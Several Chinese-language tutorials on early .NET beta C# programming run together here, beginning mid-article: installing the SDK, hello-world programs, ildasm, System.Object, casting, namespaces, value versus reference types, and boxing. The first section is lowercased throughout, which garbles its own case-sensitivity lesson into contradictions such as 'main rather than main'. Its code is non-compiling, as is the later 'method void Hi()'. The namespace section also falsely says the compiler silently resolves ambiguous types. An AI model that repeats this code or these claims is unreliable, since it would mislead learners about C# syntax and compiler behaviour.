您还需要安装 internet explorer 5.5 (http://www.microsoft.com/windows/ie/)、mdac (ado) 2.6 (http://www.microsoft.com/data/download.htm) 和 microsoft web 服务器。（在控制面板中，单击“添加/删除程序”，然后单击“添加/删除 windows 组件”。）如果您有 visual studio.net 的 cd，安装程序将自动更新 internet explorer 和 mdac。

安装说明建议您在非生产用途的计算机上安装。dr. gui 没有发现 visual studio.net 和/或 .net 框架与其他软件之间的不良影响，但是他赞成这个建议：不要在您赖以工作的计算机上冒险使用 beta 版的软件。事实上，dr. gui 在另一台日常很少用的计算机上安装了 .net 框架。（尽管博士想过当一个冒险者，在他的膝上型电脑上安装。）

获得 .net 的方式
最容易获得 visual studio.net 和 .net 框架sdk 的地方是 msdn .net 开发人员中心 (http://msdn.microsoft.com/net/)。

如果仅仅是想要签出 .net 框架，且具有很快的连接，那么您可以免费下载它（很大，大概 111 mb）。您也可以免费定购它，但您需要负担 cd 的邮寄费用。.net 框架sdk 包含编译器（甚至 c#！），但不包括集成的开发环境 (ide)。

但是如果您想要定购 .net 框架sdk 的 cd，请定购整个 visual studio.net cd 集（其中包含三张 cd，您还是只需负担邮寄费用）。如果您是 msdn 全球订户，则只能下载 visual studio.net，它的大小约为 1.5 gb，所以必须有真正快速的 internet 连接。

安装
绝大部分安装都简单易行，只需单击适当的安装程序或 url 就可以了。安装程序易于理解而又方便。

不过，还是有一个小技巧：安装 .net 框架sdk 时，系统将询问您是否注册环境变量，以便可以从命令行生成。请确保选择了这个复选框来注册环境变量，这样才能使用命令行工具。

编写 .net 程序
visual studio.net 的设计目的是使 .net 编程变得更简单，除此之外，诸如自动完成语句和拖放窗体编辑之类的功能，使得使用不熟悉的 api 集变得极其简单。

我们将要使用 visual studio，但是现在博士要求大家用旧的方式做事：在记事本（或 visual studio，如果愿意）中编写源文件，将其保存到磁盘上，然后编译并从命令行运行。这些工作只需要 .net sdk，而不需要 visual studio.net。使用命令行工具也可以使我们有机会看到产生了什么文件和熟悉某些命令行工具。

注意，因为从 beta 1（当前版本）到最终上市的版本计划会对 .net api 做一些重要的改动。所以，您编写的 beta 1 版代码必须要为在 beta 2 或最终版本下运行而进行一些修改。但是，现在开始学习的重要概念是不会改变的，所以现在的学习并非徒劳无益。

如何拼写
在 .net 程序中使用大小写的惯例也许和您所用过的其他语言不同。但是，.net 的规则极其简单：所有非参数名的标识符和私有域的名称，其每个词的首字母大写，包括第一个。（microsoft 建议将所有域都设为私有，但是它们也许要通过一个属性公开。）对于参数名称和私有域的名称，其每个词的首字母大写，第一个除外。您必须了解这些规则，因为 .net 框架名称遵循这些规则，并且某些语言（如 c#）是区分大小写的。

所以，主要的输出函数名为 system.console.writeline，严格遵循大小写规则。system.console.writeline 的格式字符串参数名为 formatstring，而不是 formatstring。但是字符串长度属性的名称是 strlen，而不是 strlen。

对于 dr. gui，最困难的事是要记住使用 main 而不是 main。

hello world.net
现在，没有问题了，这里是 .net 最简单的“hello world”：

class myapp {
public static void main() {
system.console.writeline("hello, world! (1)");
}
}

类中的所有对象
您首先注意到的可能是 main 函数是类的成员。在 .net 中，所有方法必须是类或结构的成员。（下次，我们将详细讨论结构。）这是因为在 .net 中，组织的基本单位是类型（即类或结构）。visual c++.net 的托管 c++ 扩展允许您可以在类之外公开地编写变量和函数，但在类中也可以编写变量和函数：隐含的全局类。

看！没有头文件！
不但是类中的所有对象，而且类声明都完成了。除了 c#（和大多数 .net 语言）源代码的源以外，没有头文件、idl 文件或其他任何文件。所需要说明类的东西就是类本身。

那么，如果您使用不在源文件中的其他类，会发生什么情况呢？编译器如何明白这个类中的内容？

答案是编译器读取包含您所使用的类的程序集中的元数据。程序仅仅隐式地使用 system.object（因为所有对象来自于 system.object）。c# 编译器自动转到 mscorlib.dll 程序集以从中获得元数据，所以它能够获得需要用于 system.object 的信息。如果使用不同程序集中的类，请在 c# 编译器 (csc) 命令行中使用 /r 选项以指定程序集，例如：

csc /r foo.dll hello.cs

顺便提一句，模块是一个可执行文件，即应用程序或库。它的扩展名通常是 .exe 或 .dll。程序集是一个或多个模块的集合。程序集中的一个文件具有程序集的清单，或该程序集中文件的列表。程序集是可以被部署和版本化的可执行代码的最小单位（当以后我们查看程序集的清单时，您会注意到只有程序集有版本号）。

main 很特殊
下一步您可能会注意到在 main: public 和 static 上的修饰符。对 c# 中的成员的缺省访问控制是 private，因此我们需要声明 main: public 以使它可以在运行时被调用。main 是 static，也可以说是类方法，而不是实例方法。因此运行时可以调用它而不用关心创建 myapp 对象并将该对象的 this 指针传递给 main 对象。注意，这里我调用了 myapp，您可以调用类中的任何对象。这个版本的 main 不带任何参数并且不返回任何东西，由 void 的返回类型表示。（可以编写带有其他参数的 main 并返回值）。

最后，我们调用 writeline 方法编写字符串。我已经选择使用函数 system.console.writeline 的完全限定名。writeline 是一个 system 名称空间中的 console 类的 static 方法（和 main 一样）。

减少键入
经常输入完全限定的类名是很麻烦的事情，所以 c# 允许您指定用 using 语句查找的名称空间。例如：

using system;
class myapp {
public static void main() {
console.writeline("hello, world! (2)");
}
}

因为编译器搜索 system 名称空间和 local 名称空间，所以我们不必在 console.writeline 的调用中指定 system。这并不是一个大的胜利，但是当您有许多对象引用和方法调用时，它非常方便。在下面的程序中您会看到这一点。

等一下！别走开！
在某些情况下（例如从文件管理器中运行 hello.exe），命令窗口可能会在您看到输出之前消失。要防止发生这种情况，请调用 console 的 readline 方法从键盘上读取，这将导致程序在您按 enter 键之前暂停。（我们将始终将它作为控制台应用程序的 main 中的最后一个语句。）

程序如下所示：

using system;
class myapp {
public static void main() {
console.writeline("hello, world! (3)");
console.readline(); // 等待直到按 enter 键；最后一行
}
}

看到了吗？您可以在 c# 中交换！
正如博士所提到的，与其他一些语言不同，您可以在 c# 中编写交换两个变量的函数。

这是一个交换两个整型变量内容的 c# 程序：

using system;
class swapints {
public static void main() {
int32 i = 1, j = 2;
console.writeline("i 是 {0}, j 是 {1}", i, j);
swap(ref i, ref j);
console.writeline("i 是 {0}, j 是 {1}", i, j);
console.writeline(
"i 仍是 {1:####}，j 仍是 {0:####}",
j, i
);
console.readline();
}

static void swap(ref int32 a, ref int32 b) {
int32 t = a;
a = b;
b = t;
}
}

这里要注意一些事情。第一，博士已经选择使用 .net 框架类型 system.int32（int32 的全名）而不是 c# 类型 int。因为 c# 中的 int 只是 system.int32 的一个简单别名，此外没有任何差别。但是，dr. gui 希望使用 .net 框架类型而不是特定于 c# 的类型，这使得将示例转换为 c# 以外的语言要容易一点。这些类型在所有语言中都是一致的。（当 dr. gui 用 c# 为 c# 程序员编写代码时，他趋向于使用 c# 类型，因为它们使他想起 c/c++ 类型，并且感觉很好。）

下一步，注意 console.writeline 所提供的灵活的格式。变量被插入到输出字符串中，在括号中表达式 {0} 和 {1} 的位置。数字 0 和 1 代表将要被格式化的参数的位置。第一个参数编号为零而不是一。（数组编号也是从零开始的，这就是为什么这个专栏叫做 gui.net #0，而不是 #1）。您会注意到博士在最后的 writeline 语句中切换了变量。将格式字符串转换到具有不同文法的语言时，能够切换次序是非常重要的，即您可以改变格式字符串而不用改变调用。另外，还可以在括号中加入其他信息，正如在最后一条 writeline 语句中。这种格式化机制对于类型来说也是可扩充的。

最后，请注意最重要的一点：在 swap 的调用和函数声明中，通过引用传递的参数用 ref 来标记。这就告诉了 c# 编译器我们想要在调用方法时将交换 i 和 j 的方式。如果不使用 ref 标记，则要交换由值传递值时生成的副本（您可以试一下删除 ref 的全部四个实例，然后亲自查看结果）。

实践与探讨

让我们动手吧！
一旦安装了 .net，您就可以使用记事本或 visual studio 创建包含前面的“hello world”程序之一的文件。创建一个空的子目录，将文件保存到该子目录中，并命名为 hello.cs（cs 表示为 c# 文件）。

下一步，打开命令提示并更改到正在使用的目录。键入“csc hello.cs”命令来编译该程序。如果在目录中查看，您将发现已经创建了 hello.exe 文件。键入“hello”执行该文件，控制台窗口将显示“hello, world!”。

可执行文件的内容
列出目录的内容，请注意只有两个文件：hello.cs 和 hello.exe。hello.exe 是一个非常小的文件，只有 3 kb 左右。真简单。

但是，hello.exe 文件中有些什么？这就不那么简单了。有一个存根加载器，即很小的本机机器语言程序，它可加载 .net runtime 并给予其控制权以便使它开始执行您的程序。

但是两个重要的部分是元数据和 il 中的代码，元数据向 common language runtime 和可能引用程序中的类型的编译器解释该程序。（您可能会想起 il 是 .net runtime 的机器语言。）当 runtime 即将开始执行每种方法时，它将 il 转换为本机代码，然后执行本机代码。.net 从来不解释 il，它总是将 li 编译成本机代码。

如何查看元数据和 il？使用 il 反汇编 (ildasm) 工具会使该操作变得非常简单。只要在命令提示下输入“ildasm hello.exe”（假设 hello.exe 文件在当前目录下）就可以了。您可以看到一个如下显示的窗口。

图 1：ildasm 窗口

最初，“hello.exe”之下的目录树显示两个部分：清单和类 myapp。由于模块 hello.exe 有一个清单，所以我们知道它就是程序集的说明文件。在这种情况下，程序集仅包含一个模块文件 hello.exe。

清单
双击清单将看到元数据的一小部分，这部分说明了这个程序集（应用程序或组件）中包含的模块（文件）。对于第三个 hello.exe 程序，它看起来如下：

.assembly extern mscorlib {
.originator = (03 68 91 16 d3 a4 ae 33 )
.hash = (52 44 f8 c9 55 1f 54 3f 97 d7 ab ad e2 df 1d e0
f2 9d 4f bc )
.ver 1:0:2204:21
}
.assembly hello as "hello" {
// --- 下面的自定义属性是自动添加的
// 不要取消注释 -------
// .custom instance void [mscorlib]system.diagnostics.debuggableattribute::.ctor(bool,
bool) = ( 01 00 00 01 00 00 )
.hash algorithm 0x00008004
.ver 0:0:0:0
}
.module hello.exe
// mvid: {59365aa0-b469-4359-9baf-4840a9257c61}

这个元数据声明程序集 hello 的版本为 0.0.0.0，包含模块 hello.exe，并且使用 1.0.2204.21 版本的 mscorlib 程序集（.net runtime 主 dll）。模块版本标识符 (mvid) 是一个包含此版本模块 hello.exe 的 id 的全局唯一标识符 (guid)。

模块元数据
如果按下 ctrl+m 组合键，您将看到更多的元数据，这次是模块的元


csdn_在新的平台上编程

  在新的平台上编程
译文/赵湘宁
在新的平台上编程
----微软 .NET平台系列文章之一

一年多来，我将注意力一直放在微软的.NET CLR（公共语言运行时：Common Language Runtime）平台。在我看来，今后大多数新的开发都将面向这个平台，因为它使应用程序的开发变得更容易、更简单。同时，我还期望现有的应用开发能迅速移到.NET平台上来。
为了帮助开发人员掌握这个新的平台，本文以及以后的系列文章将专门针对.NET讨论各种编程问题。我将假设你已经熟悉面向对象的编程概念。每一篇文章的内容都聚焦在非选定的特定公共语言运行时编程主题上。所有.NET开发人员必须知道这些主题。
当展示代码例子时，我必须在支持.NET CLR 的多种语言中选择一种。我决定使用C#。它是微软设计的一种新语言。
我的目的是介绍不同的编程主题并就如何实现它们为你提供一些想法。所以，我不想完整的描述每一个主题以及所有与之相关的细微差别。有关主题完整详细的介绍请参考公共语言运行时或者语言文档。

真正的面向对象设计
对于使用Win32 SDK的编程人员来说，对大多数操作系统特性的访问时通过一组从动态链接库输出的独立函数实现的。这些独立的函数从诸如C这样的非面向对象语言中非常容易调用。但对于一个新的开发人员来说，要面对上千个表面上看来毫无关系的独立的函数是相当让人畏惧的。更为困难的是许多函数名是以单词“Get”开始的（如GetCurrentProcess和GetStockObject）。此外，Win32 API已经历数年并且微软添加了新的函数，这些新函数依旧的函数相比。有相似的语义，但提供的特性有些差异。你常常能认出较新的函数，因为它们的名字原来的函数名相似（象CreateWindow/CreateWindowEx，CreateTypeLib/CreateTypeLib2以及我最喜欢的CreatePen/CreatePenIndirect/ExtCreatePen
所有这些问题都使程序员觉得Windows开发很难。随着.NET平台的出现，微软终于为叫苦不迭的开发人员提供了一个完全面向对象的开发平台。平台服务现在被分成为单独的名字空间（如：System.Collections，System.Data，System.IO，SystemSecurity，System.Web等等）并且每一个名字空间包含一组允许访问平台服务的相关类。
因为类方法可以重载，行为差别不大的方法具有相同的名字，并且只有从原型中才能看出差别来。例如，一个类可能提供三个不同版本的CreatePen方法。所有方法都做相同的事情：即创建一支笔。但是，每一个方法都有不同的参数集并且行为不太一样。将来微软还要创建第四个CreatePen方法并且与前面的类方法配合默契。
因为所有的平台服务都通过这种面向对象的方式来实现，所以软件开发者应该对面向对象的编程有所理解。面向对象的方法还带来了其它的一些特点，如使用继承和多态性很容易创建专门版本的基类库类型。我再次强烈建议要熟练掌握这些概念，这对于使用微软的.NET框架很重要。

System.Object
在.NET中，每一个对象都是从System.Object派生而来。也就是说下面的两种类型定义（使用C#）是相同的：

class Jeff {
...
}

和

class Jeff : System.Object {
...
}

因为所有对象都是从System.Object派生出来的，从而可以保证每一个对象具有最小的功能集。表一是System.Object中的公共方法。
公共语言运行时需要所有的对象都要用new操作符创建（调用newobj IL指令）。下列代码示范了如何创建Jeff类型（已在前面声明）的对象实例：
Jeff j = new Jeff("ConstructorParam1");

new操作符根据指定的类型需要从堆中分配字节数来创建对象。它初始化对象的开销成员。每一个对象都会有一些公共语言运行时用来管理对象的附加字节，如对象的许表指针以及对同步快的引用。
调用类的构造函数时，传递的参数在new语句中指定（例子中是串"ConstructorParam1"）。注意大多数语言会编译构造函数以便它们调用基类构造函数，但这在公共语言运行时中是不需要的。
在new实现了所有我所提到的操作后，它返回新创建对象的引用。在例子代码中，这个引用被存储在变量j中，它的类型是Jeff。
另外，new操作符没有配对操作（delete）。即没有方法显式地释放或销毁对象。公共语言运行时提供自动地探测的垃圾回收环境，当对象不再被使用或不再被访问时自动地释放和销毁对象，有关这个主题将在下次的讨论中提出。

数据类型的强制转换
在编程过程当中，对象从一个数据类型到另一个数据类型的强制类型转换是十分常见的。在这一部分，我将讨论对象的强制数据类型转换规则。为此，先看下列代码：

System.Object o = new Jeff("ConstructorParam1");

先前的代码编译通过并正确执行是因为有一个隐含的强制类型转换。new操作符返回Jeff的一个引用类型，但o是一个System.Object的引用类型。因为所有的类型（包括Jeff类型）都能被强制转换为System.Object，隐含的强制类型转换是成功的。但是，如果执行下面的代码，就会有编译器错误，因为编译器不提供基类型到派生类型的强制类型转换。

Jeff j = o;

为了能通过编译，必须插入如下的显式强制类型转换：
Jeff j = (Jeff) o;
现在就可以编译通过并成功执行。
再来看另外一个例子：

System.Object o = new System.Object();
Jeff j = (Jeff) o;

第一行创建了一个System.Object类型对象。第二行代码试图将System.Object引用类型转换为Jeff引用类型。两行代码都能编译通过。但是在执行的时候，第二行代码产生一个InvalidCastException异常，如果捕获不到这个异常，将强制应用程序终止。

当第二行代码执行时，公共语言运行时查证o所指的对象就是Jeff类型对象（或任何Jeff派生类型）。如果是，则公共语言运行时允许强制类型转换。否则，如果o所指的对象与Jeff类型无关，或是一个Jeff的基类，则公共语言运行时会预防这种不安全的强制类型转换并产生InvalidCastException异常。

C# 使用as操作符提供另一种方法来实现强制类型转换：

Jeff j = new Jeff(); // 创建一个新的Jeff 对象
System.Object o = j as System.Object; // 强制转换 j 为一个System.Object对象
// 现在o 指Jeff 对象

as操作符试图强制转换一个对象为指定的类型。但与通常的强制转换不一样，如果对象的类型强制转换不成功，结果会是null，as操作符决不会掷出异常。当引用有毛病的强制类型转换发生时，将产生NullReferenceException异常。下列代码示范了这种情况。

System.Object o = new System.Object(); //创建一个新的Object 对象
Jeff j = o as Jeff; //强制转换 o 为一个Jeff对象
// 上面的强制转换失败：不会有异常掷出，而j会被置为null

j.ToString(); // 访问j时产生一个NullReferenceException 异常

除了as操作符以外，C#还提供一个is操作符。它检查是否一个对象实例与给定的类型兼容并判断结果是True或是False。Is操作符不会产生异常。

System.Object o = new System.Object();
System.Boolean b1 = (o is System.Object); // b1 是 True
System.Boolean b2 = (o is Jeff); // b2 是 False

注意，如果对象引用是null，is操作符总是返回False，因为得不到对象来检查其类型。
为了肯定你理解了刚才所说的内容，假设下列两各类定义存在。

class B {
int x;
}

class D : B {
int x;
}

现在，参见图二看看哪一行代码通过编译并执行成功（ES），哪一行代码导致编译器错误（CE），哪一行代码导致公共语言运行时错误（RE）。

集合与名字空间
类型集可以被分组成集合（一个或多个文件集）并且被展开。在一个集合中可以只存在单独的名字空间。对应用程序开发人员来说，名字空间就像有关联的类型的逻辑分组。例如，基本类库集合包含许多名字空间。System名字空间包括Object基类型、Byte、Int32、Exception、Math和Delegate之类的核心低级类型，而System.Collections名字空间包括的类型如AarryList、BitAarry、Queue和Stack。

对于编译器来说，名字空间只不过是名字较长的的类型名，以及其唯一性是用句点分隔某些符号名来保证的。对于编译器而言，System名字空间中的Object类型只不过是用一个叫做System.Object的类型来表示。同样，System.Collections名字空间中的Queue类型简单地用标示符System.Collections.Queue来表示。
运行时引擎不知道关于名字空间的任何信息。当你访问一个类型时，公共语言运行时只需要知道完整的类型名字以及哪一个集合包含这个类型的定义，以便公共语言运行时能正确加载集合，从而找到要访问的类型并处理之。
编程人员通常都想用最简练的方法来表达算法，但用完全限定名引用每一个类类型的话极其麻烦。因此，许多编程语言提供一条语句来指示编译器添加各种前缀到类型名，直到实现一个匹配。当用C#编程时，我经常在源代码的最前面是用下面的语句：

using System;

当我在代码中引用一个类型时，编译器需要保证这个类型被定义过并且我的代码要以正确的方式访问这个类型。如果编译器不能找到指定的类型，它试图将“System.”添加到类型名并检查产生的类型名字是否与现存的类型名匹配。前面的代码行允许我在代码中使用Object，并且编译器将自动将名字展开为System.Object。我肯定你能轻松想象这样省去了多少键盘输入。
当进行类型定义的检查时，编译器必须知道哪一个集合包含了这个类型，以便这个集合的信息和类型信息能被送到结果文件中。为了获得集合信息，你必须将定义了任何引用类型的集合传给编译器。
正如你所设想的一样，这种设计存在一些潜在的问题。为了编程方便，你应该避免创建名字冲突的类型。但是在某些情况中，它完全不可能。.NET鼓励组件重用。你的应用程序可以利用Microsoft所创建的组件，同时，你也可以用Richter创建的另一个组件。这些公司的组件可能都提供了一个叫做FooBar的类型，-Microsoft的FooBar所做的事情与Richter的FooBar所做的事情完全不同。在这种情况下，你无法控制类类型的命名。为了引用Microsoft的FooBar，你使用Microsoft.FooBar，为了引用Richter的FooBar，你使用Richter.FooBar。
在下列的代码中，对FooBar的引用是不明确的。编译器报告一个错误也就罢了，但是实际上C#编译器挑选FooBar类型的一种可能的情况；直到运行时你才能发现问题：

using Microsoft;
using Richter;

class MyApp {
method void Hi() {
FooBar f = new FooBar(); // Ambiguous, compiler picks
}
}

为了排除这种不明确的引用，你必须显式地告诉编译器，你想创建哪一个FooBar。

using Microsoft;
using Richter;

class MyApp {
method void Hi() {
Richter.FooBar f = new Richter.FooBar(); // 明确引用
}
}

另一种语句形式是允许你为单独类型创建别名，如果你只使用名字空间中的几种类型并且不想用所有的名字空间类型污染整个名字空间的话，这种方法很方便。下列代码示范了另一种解决类型不明确问题的方法。

// 定义RichterFooBar 为Richter.FooBar的别名
using RichterFooBar = Richter.FooBar;

class MyApp {
method void Hi() {
RichterFooBar f = new RichterFooBar(); // 不会出错
}
}

这种方法对于消除类型歧义有用，但不尽人意的地方仍然存在。假设澳大利亚的飞镖（Boomerang）公司（简称ABC）和阿拉斯加的船舶（Boat）公司（也简称ABC）两家公司各自创建了一个类型。可能两家公司都创建了叫做ABC的名字空间，在名字空间中包含一个叫做BuyProduct的类型。任何试图开发需购买飞镖和船舶应用程序的人将会陷入麻烦，除非编程语言提供编程方法来区分两家公司的集合-而不仅仅是两家公司的名字空间。
不幸的是C#语言只支持名字空间，并不提供任何方式来详细说明集合。但实际上碰到这个问题的时候并不多，属于罕见问题。如果是设计希望第三方使用的组件类型。推荐在一个名字空间中定义类型，以便编译器轻松排除类型问题。事实上，应该使用公司全名（不是只取首字母）作为最高级名字空间名来降低冲突的可能性。你能看到Microsoft使用“Microsoft”作为名字空间。
在代码中写一个名字空间声明来创建名字空间是一件很简单的事情。就像下面这样：

namespace CompanyName { // CompanyName
class A { // CompanyName.A
class B { ... } // CompanyName.A.B
}

namespace X { // CompanyName.X
class C { ... } // CompanyName.X.C
}
}

注意名字空间是隐含的公共类型（public）。不能通过任何访问修饰符改变这一点。但可以在内部的名字空间中定义类型（不能在集合外面使用）或者在公共的名字空间中定义类型（能被任何集合访问）。名字空间只表示逻辑上的限制策略，可访问性和包装是通过将名字空间放入一个集合来完成的。
下一次的讨论中，我将阐述所有.NET编程人员必须掌握的简单数据类型、引用类型和数值类型。对于每一个.NET程序员来说，透彻理解数值类型是非常重要的。


csdn_微软.NET平台中类型使用的基本原理

  微软.NET平台中类型使用的基本原理
译文/赵湘宁
微软.NET平台中类型使用的基本原理

----微软 .NET平台系列文章之二

在上一次的讨论中，我介绍了许多微软.NET平台公共语言运行时CLR (common language runtime) 中与类型有关的基本概念。其中重点讨论了如何从System.Object类型中派生出所有别的类型，以及程序员能够使用的多种强制类型转换机制（如C#操作符）。最后，我提到了编译器如何使用名字空间以及公共语言运行时CLR是如何忽略名字空间的。
在本文中，我们将继续上次类型基础的讨论。首先从介绍简单类型开始，然后迅速进入关于引用类型和数值类型的讨论。对所有的开发人员来说，熟练掌握引用类型和数值类型的应用差别尤其重要。在编写代码的过程中，如果对这两种类型使用不当会导致程序Bug并引起性能问题。

简单类型
某些常用的数据类型，许多编译器通过简单的语法就可以对它们进行处理。例如，在C#语言中，你可以使用下列语法来分配一个整型变量：

int a = new int(5);

但是我敢肯定，你会觉得用这样的语法来声明和初始化一个整型变量很笨拙。好在许多编译器（包括C#编译器）允许你使用下面的语法来代替：

int a = 5;

这就使代码的可读性更强。不论使用那一种语法，产生的中间语言时一样的。
凡编译器直接支持的数据类型称为简单数据类型。这些简单数据类型直接映射到基类库中存在的类型。例如C#中int类型直接映射到System.Int32。所以可以将下列两行代码与前面提到的两行代码是一样的：

System.Int32 a = new System.Int32(5);
System.Int32 a = 5;

图一是C#中简单数据类型与基类库中有关类型的对应表（其它语言也会提供类似的简单数据类型）

引用类型和数数值类型
当从受管堆（managed heap）中分配对象时，new操作符返回对象的内存地址。通常将这个地址存储在一个变量当中。这种方式就是引用类型的变量，因为变量不包含实际对象的位，而是引用对象的位。
在处理引用类型时会有一些性能问题要考虑。首先，内存必须要从受管堆中分配，这样能强制垃圾回收。其次，引用类型总是通过指针来存取。所以每次引用堆中对象的成员时，为了实现期望的处理，必须要产生和执行收回指针的代码。这反而影响程序的大小和程序执行的速度。
除了引用类型外，实际的对象系统中还有轻量级的数值类型。数值类型对象不能在可回收垃圾的堆中分配，并且表示对象的变量不包含对象的指针，而是变量包含对象本身。因为变量包含着对象，处理对象也就不必考虑指针回收的问题，从而改进了性能。
图二中的代码说明了引用类型和数值类型差别。Rectangle类型的声明使用了结构，而没有使用更普通的类。在C#中，使用结构声明的类型是个数值类型，而使用类声明的是引用类型。其它语言可能用不同的语法来描述数数值类型和引用类型，例如C++中使用_value修饰符。
回顾前面讨论简单类型时提到过的代码行：

System.Int32 a = new System.Int32(5);

编译这个语句时，编译器发觉System.Int32是数值类型并优化产生的中间语言（IL）代码，以便使这个“对象”不从堆中分配；而将这个对象放到线程堆栈的局部变量a中。、
可能的情况下，应该使用数值类型而不要使用引用类型，这样做可以使应用程序的性能更好。尤其是在使用以下数据类型时，你应该将变量声明为数值类型：

* 简单数据类型。
* 不需要从其它类型继承的数据类型。
* 没有任何从它派生的数据类型。
* 类型对象不会作为方法参数经常性传递，这是因为它会导致频繁的内存拷贝操作，从而损害性能。这一点在下面有关框入和框出的讨论中将作更详细的解释。

数值类型的主要优点是他们不在受管堆中进行分配。但与引用类型比较，使用数值类型也有几个局限。以下是对数值类型和引用类型的一个比较。
数值类型对象有两种表示法：框出的形式和框入的形式。引用类型对象总是表示为框入形式。
数值类型从System.ValueType类型中隐含派生。这个类型提供的方法与System.ValueType定义的方法相同。但是，System.ValueType重载Equals方法，以便在两个对象实例字段匹配时返回true。此外，System.ValueType重载GetHashCode方法，以便在对象实例字段中使用有这些值参与的算法产生hash 代码值。当定义自己的数值类型时，强烈推荐你重载并提供外部的Equals 和GetHashCode方法实现。
因为使用数值类型作为基类时不能声明新的数值类型或新的引用类型，数值类型不应有虚函数，不能被抽象，并被隐含式封装（封装类型不能被用作新类型的基类）。
引用类型变量包含堆内存中对象的地址。在缺省情况下，引用类型变量被创建时被初始化为空（null），也就是说这个引用类型变量当前不指向有效对象。试图使用值为空的引用类型变量会导致NullReferenceException 异常。与之相对，对于数值类型变量来说，它总是包含潜在类型的值，在缺省情况下，这个数值类型所有成员被初始化零（zero）。当访问数值类型时就不可能产生NullReferenceException 异常。
当你将一个数值类型变量的内容赋值给另一个数值类型变量时，变量值被拷贝。当你将一个引用类型变量的内容赋值给另一个引用类型变量时，只是变量的内存地址被拷贝。
从以上的讨论中可以得出这样的结论，堆中的单个对象可以涉及两个以上的引用类型变量。这样就允许用作用在一个变量上的操作来影响被另一个变量引用的对象。另一方面，每一个数值类型变量都有其自己的对象数据拷贝，而且对其中一个数值类型变量的操作不会影响其它的数值类型变量。
运行时必须初始化数值类型以及不能调用其缺省构造函数的情形很少见，例如下面的情况下会发生这种事情，当非受管线程第一次执行受管代码时必须分配和初始化线程本地数值类型。在这种情况下，运行时不能调用类型的构造函数，但仍然保证所有成员被初始化为零或者为空。为此，推荐你不要对数值类型定义无参数的构造函数。实际上，C#编译器（以及其它编译器）会认为出错并不再编译代码。这个问题很少见，而且也不会发生在引用类型上。对于数值类型和引用类型的参数化构造函数没有这些限制。
因为框出的数值类型不在堆中分配，只要定义这个类型实例的方法不再是活动的，就可以很潇洒的为它们分配存储区域。也就是说框出的数值类型对象的内存被收回的时候是接收不到通知的。但是，框入的数值类型被当作垃圾收回时会有其Finalize方法调用。你绝不能用Finalize方法实现一个数值类型。象无参数构造函数一样，C# 认为这是一个错误而不再编译源代码。

框入与框出
在很多种情况下，把数值类型当作引用类型来使用便于问题的处理。假设你想创建一个ArrayList对象（它是在System.Collections名字空间中定义的类型）来存放一些点（Points）。参见图三。
代码中每次循环Point数值类型都被初始化，然后点被存储在ArrayList中。但是想一想，在ArrayList中实际存储的是什么呢？是Point结构还是Point结构的地址，仰或是别的什么东西？为了得到答案，你必须察看ArrayList的Add方法看看它的参数被定义成什么类型。在本段代码中，你可以看到Add方法是用以下方式被原型化的：

public virtual void Add(Object value)

显然，Add方法的参数是一个对象。而对象总是被看成一个引用类型。但实际上我在代码中传递的是一个p，它是一个Point数值类型。这段代码要运行，必须将Point数值类型转换为真正的堆受管对象，并且必须要能得到对这个对象的引用。
将数值类型转换为引用类型称为框入。其内部转换机制可描述为：
1、从堆中分配内存，内存大小等于数值类型所占内存加上附加的成为对象的内存开销，附加开销包括虚表指针和同步块指针所需的内存。
2、数值类型的位被拷贝到新分配的堆内存。
3、对象的地址被返回。此地址既是当前的引用类型。
某些语言的编译器，如C#，自动产生框入数值类型需要的的中间语言代码（IL），但是理解框入转换的内部机制以便了解代码量及性能问题是很重要的。
当Add方法被调用时，在堆中为Point对象分配内存。驻留在当前Point数值类型（p）中的成员被拷贝到新分配的Point对象。Point对象地址（引用类型）被返回，然后被传递到Add方法。这个Point对象将被保留在堆中直到它被当作垃圾收回。Point数值类型变量（p）可以被冲用或者被释放，因为A rrayList绝不会知道任何关于Point数值类型变量的信息。框入使类型得到统一，任 何类型的值基本上都能被作为一个对象来处理。
与框入相对，框出重新获得包含在对象中的数值类型（数据字段）的引用，其内部机制可描述为：
1、CLR（Common Language Runtime）首先保证引用类型变量不为空，并且它就是希望数值类型的框入值，如果这两个条件都不成立，则产生一个InvalidCastException异常。
2、如果类型确实匹配，则含在对象中的数值类型指针被返回，这个指针所指的数值类型不包含通常与真正的对象关联的开销：即虚表指针和同步块指针。
注意框入总是创建一个新对象并拷贝框出的的位到这个对象。而框出只是简单地返回一个框入对象的数据指针：不发生内存的拷贝。但是通常的情况是：代码会导致被框出的引用类型所指的数据被拷贝。
下面的代码示范了框入和框出:：

public static void Main() {
Int32 v = 5; // 创建一个框出的数值类型变量
Object o = v; // o 既是v的一个框入版本
v = 123; // 改变框出的值为123

Console.WriteLine(v + ", " + (Int32) o); // 显示 "123, 5"
}

从上面的代码中你能想象有多少框入操作发生吗？你会惊奇地发现答案是3！让我们仔细分析一下代码以便真正理解所发生的事情。
首先创建的是一个Int32 框出的的数值类型v，初值为5。接着创建一个对象引用类型o并试图指向v。但是引用类型总是必须指向堆中的对象，所以C# 要产生相应的中间语言代码来框入变量v，并将v的框入版本的地址存储在o中。现在123是框出的并且引用的数据被拷贝到框出的数值类型v中，它不影响v的框入版本，所以框入版本保持它的值为5。注意这个例子示范了o是如何被框出（返回o中数据的指针），以及o中数据是内存被拷贝到框出的数值类型v。
现在调用WriteLine。它需要一个String 对象传给它，但你又没有String 对象，而是有三个已知项：一个Int32位框出数值类型v，一个串（“，”）以及一个Int32引用类型（或者说框入类型）o。它们必须被组合起来构成一个String。
为了构造String对象，C#编译器产生调用String对象静态Concat方法的代码。Concat方法有几种重载版本。它们实现的功能都一样，不同的只是参数个数不一样。如果要用三个已知项来格式化一个串，编译器将选择下面的Concat方法：

public static String Concat(Object arg0, Object arg1, Object arg2);

第一个参数是arg0，用来传递v。但v是框出的值参数，并且arg0是一个对象，所以v必须要被框入并且用arg0来传递框入的v的地址。第二个参数是arg1，它是字符串“，”的地址，即一个String对象的地址。最后一个参数是arg2，o（一个对象引用）被强制转换为Int32。它创建一个临时的Int32数值类型，这个数值类型接收当前被o引用的值的框出版本。这个临时的数值类型必须被再一次用arg2传递的内存地址框入。
一旦Concat被调用，它调用每一个指定对象的ToString方法并连结每一个对象的串值。然后从Concat返回的String对象被传递到WriteLine，从而显示最后的结果。
应该指出，如果用以下形式调用WriteLine，产生的中间代码（IL）会更有效：

Console.WriteLine(v + ", " + o); // 显示 "123, 5"

这行代码与前面的版本是一样的，只是将o前面“Int32”强制转换去掉了。它之所以更有效是因为o已经是一个对象的引用类型并且其地址被直接传递到Concat方法。从而即避免了一次框出操作也避免了一次框入操作。

下面是另一个框入和框出的例子：
public static void Main() {
